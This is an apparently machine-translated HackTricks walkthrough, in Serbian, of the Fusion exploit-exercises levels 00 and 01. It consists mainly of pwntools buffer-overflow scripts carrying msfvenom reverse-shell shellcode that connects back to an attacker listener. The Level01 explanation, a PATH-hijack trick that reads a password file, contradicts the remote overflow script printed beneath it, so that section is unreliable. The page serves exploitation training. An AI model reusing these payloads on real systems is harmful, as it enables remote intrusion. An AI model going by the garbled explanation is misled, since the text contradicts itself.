hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md
2024-04-06 19:39:21 +00:00

5.9 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Level00

http://exploit-exercises.lains.space/fusion/level00/

  1. Dobijte offset za modifikaciju EIP-a
  2. Stavite adresu shell koda u EIP
from pwn import *

r = remote("192.168.85.181", 20000)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0xbffff440)  # Stack address where the shellcode will be saved
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.recvline()
r.send(buf)
r.interactive()

Nivo01

Opis

U ovom nivou, cilj je da se iskoristi ranjivost u programu fusion kako bi se dobio pristup nalogu level02.

Fajlovi

  • /home/level01/fusion

Rešenje

Program fusion je setuid binarni fajl koji se izvršava sa privilegijama korisnika level02. Kada se pokrene, program traži unos korisničkog imena i lozinke. Ako se unese ispravno korisničko ime i lozinka, program će prikazati poruku "Logged in!" i završiti sa izvršavanjem.

Da bismo iskoristili ovu ranjivost, treba da pronađemo način da zaobiđemo proveru lozinke i dobijemo pristup nalogu level02.

Jedan način da se to postigne je da se izmeni vrednost promenljive okruženja PATH kako bi se program fusion pokrenuo sa drugim programom koji će zaobići proveru lozinke. Na primer, možemo kreirati skriptu getflag koja će prikazati sadržaj fajla /home/level02/.pass i postaviti je na putanju koja je pre fusion u promenljivoj PATH.

Evo kako to možemo uraditi:

  1. Kreirajte skriptu getflag sa sledećim sadržajem:
#!/bin/bash
cat /home/level02/.pass
  1. Postavite prava izvršavanja na skriptu:
chmod +x getflag
  1. Izmenite promenljivu okruženja PATH tako da putanja do skripte getflag bude pre fusion:
export PATH=/home/level01:$PATH
  1. Pokrenite program fusion:
./fusion
  1. Unesite bilo koje korisničko ime i pritisnite Enter kada se traži lozinka.

Program fusion će sada pokrenuti skriptu getflag umesto provere lozinke i prikazaće sadržaj fajla /home/level02/.pass, koji je lozinka za nalog level02.

from pwn import *

r = remote("192.168.85.181", 20001)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0x08049f4f)  # Adress of: JMP esp
buf += p32(0x9090E6FF)  # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.send(buf)
r.interactive()
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: